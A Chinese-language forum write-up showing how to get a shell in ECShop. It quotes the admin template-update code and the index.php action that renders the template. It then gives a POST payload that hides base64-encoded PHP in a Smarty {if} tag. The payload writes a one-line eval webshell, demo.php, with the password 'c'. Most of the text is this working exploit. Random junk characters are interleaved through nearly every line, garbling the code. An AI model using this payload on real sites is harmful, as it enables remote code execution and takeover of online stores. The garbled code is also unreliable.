首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板: v; a( A1 T, Y, Q$ ^
; J4 Z; z6 v% S! a1 I, o而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 ^6 o, r K1 A3 p$ M, g G
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, B" C6 x/ j" [8 ^7 h! a- nadmin/template.php9 a8 t6 X8 J4 c" d
Q; c4 Y2 l) c: v: M
1 if ($_REQUEST['act'] == 'update_library') : D6 w# \$ @# c: g$ B$ E- k; M) P
; d# b' h/ W3 U. l
2 ( P+ d6 Z% X. ?! c n7 a5 R
' o0 w! L9 f! V& j8 c3 {
+ y5 {* L/ b f5 A+ |1 i! d, q: j. }+ T9 G& g
4 check_authz_json('library_manage');
4 D" j* \3 ?6 l2 v$ |. J, b" t& @) L- i! c
5 " j3 q7 Z c4 x2 C' m+ j
/ m- {7 m W V- ]* ^. k6 T% J) I+ S6 $html = stripslashes(json_str_iconv($_POST['html']));
f0 r3 }% F5 Z6 L: s: R! V2 R- Y/ {$ C Q' _0 m' X
7
. @9 Z% D/ t& Y) `. {; g( m/ h1 T. R; Q3 N: ?
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. f+ ~ ]# a% L% W2 r! ] q3 ^' F# t. h/ R5 j- S- T, O
9 0 N% }) K) o. \+ `+ P$ x3 k
' D' }6 V6 n- ~' j' ~, |
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 3 {! Q4 D: N1 E* ^, i3 o
9 ^6 q. W6 O; z' y% X
11
% X) k/ }" W$ |# o* I7 U: W% s2 j
& A" B1 t K) _ S0 G+ ?12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, Q' h: E- v, D* Y: C9 {3 b1 _ x' ]" |
13
8 b' g" f" Q8 S5 W x# q# u4 }
9 Y# ]5 ?! q- L' ~) d( ] p7 m14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, Q7 n; x, h: h8 S. v
. e. y4 j, O6 A15 { 5 u' L" f" g! h
3 n: b+ g% S! H' Q
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 K& D4 y) P$ h2 T1 z, T( B& e
7 H2 j* N0 [& r) d17 make_json_result('', $_LANG['update_lib_success']); 4 x0 l- ` B% n6 O2 F3 ^7 y" c5 g. K
, c0 d! B! s4 @6 m" ~! X5 t18 } ; N+ d- z1 A& K1 y
3 {6 z3 ~5 {7 `. @' O19 else
[5 j/ Y! M0 G% u! z1 }' B8 P2 h$ J2 D/ H: H
20 {
; Y/ G( ] [* I/ d& r6 E) c; c% K! N
1 b" L8 t' y: f& B7 i# W21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 l3 q/ [, o/ p$ ?
o8 W# m8 H" o0 N% D) S. }; o' r' w22 } ' E* A# C: R2 X, q/ [
( d" \/ R2 w0 }' [8 R: S1 k23 }
' S! w& S: v3 U3 @# B: N% q2 |( i/ I- z8 @4 A
那么找个比较方便调用了模板的文件) T, C* l" D+ N' s% \
index.php( ?& j$ Q5 l, z* A
) d; q" [0 x+ C3 p" ~: q
1 if ($act == 'cat_rec') # n( q9 \& \9 t' j
9 [) a) s2 O& R7 x7 \
2
* A( _" G5 e$ [0 K2 {( l) O5 ?+ W8 N5 I
3 { ! u7 B& x' A, Z" D# B. P% m: d9 m% p
# c; q2 v9 g" n( g4
% H+ Z( |8 z' d
8 f0 C1 u. `! U I9 s5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); # U$ P/ Z$ K" ~
- r+ X8 M& u1 @2 }5 L8 V0 S6
0 ^' e# v, j1 g' |0 E7 p1 z- A8 C" q& R S; O$ W
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 H* j0 H/ X: {4 j& I
9 P l% }* `% V8
" ], y/ B, Z9 c2 S4 J% I3 t, d2 I- z2 z: g. x& U T
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; . H( K4 A! J4 B& S- ^
! c% O( U$ `$ d. f. D
10 / q$ V+ B+ c# a4 w2 G+ m
+ q9 t o: @) t4 Q# F- J+ p7 k* t
11 include_once('includes/cls_json.php');
& c5 P6 H9 r2 A+ c& V- i1 b) ]3 G$ U* ?+ f- Y; F
12
- h) k N2 D4 Z, ]" |! |6 q2 h& ]+ h! c
13 $json = new JSON; + d( l v8 J7 t% ~; q, d( Q2 x
) {6 B, n; e# `. ^* q' _* I$ `
14 # A+ B( _+ ~, y P q
8 U/ u" T3 ]4 m5 P1 ^$ ~" c; h
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 s3 T7 J6 M0 O& ~1 U% `4 a; M& C
" e: a# o: m x/ T1 s1 }
16
3 }6 d! r7 F( ?" S! H
. F' f6 J, I8 T! e! t' p17 $children = get_children($cat_id); ; V5 c2 \& |/ [+ J0 d# v; g
. N+ C4 Y% g& h1 R+ `. C18
9 U( Z u* y6 `* K- R. C% n, W: K2 Y+ o2 g
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 / [. i- B a2 B. O
/ U2 p3 t& y, @6 v; X: B
20
! H# D: a- L8 C# U# G1 F/ n ~
8 X2 ]/ K: R# O# `2 {4 G21 $smarty->assign('cat_rec_sign', 1); ) [! y; [, g, s" ?: b: v
( F- I3 _- q8 I! A
22 9 D, B' z+ Q# y1 }3 t
9 c9 I* Z" l( G: c# Z' O23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 0 R) C; \; V+ T! u
D8 A( ^; x; a24 . b/ m! e5 |9 w" s+ B. f
- k! \, t* [. o" D25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 W i8 C6 b" D/ T7 `4 t
7 [2 {/ J/ R5 J, _
26 / |2 m- p" _( W4 z$ `
# z7 _6 Q! Q% ~7 d) q; {1 ?27 echo $rec_array[$rec_type];
* c9 N2 p( k1 y6 k/ ~
6 R: Z7 `, U5 T- z0 t28
' Q! q" H: F) }! \
2 Q. w6 ?& q* _7 Z7 C* H3 A29 die($json->encode($result)); * F" R4 J' ^8 R/ c7 B
6 S6 C" {5 g/ I/ I6 G30 4 H$ {2 }3 M. D0 `) }% ?
5 X0 ~( P" d) h( z- _) K- y
31 }
& c f$ p7 }' Y) _3 a! W8 \- `5 |# l: z# b
那么就有利用方法了
4 x K1 a+ Q" n0 lpost包到http://localhost/ec/admin/template.php?act=update_library
: _( k4 J! k A5 mPost内容:
* @* G1 v. o; \7 ~$ b: }+ M/ u
! f d9 G6 x; \2 d3 N i2 t2 W' X- R0 i. W: e8 s2 K% H
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 1 t9 s0 J. {3 N! L# H" p
% C6 U* p4 b6 Q9 ]7 ^" M* E然后访问http://localhost/ec/index.php?act=cat_rec
2 B: _9 Y0 x7 q* I4 k3 {. q2 L9 K: F* p* Q) l
shel地址:http://localhost/ec/demo.php7 ^% y9 o2 e- m' [
密码c. O( W5 o5 c& R5 Q4 r% f
/ A9 {5 J( m9 w/ k
|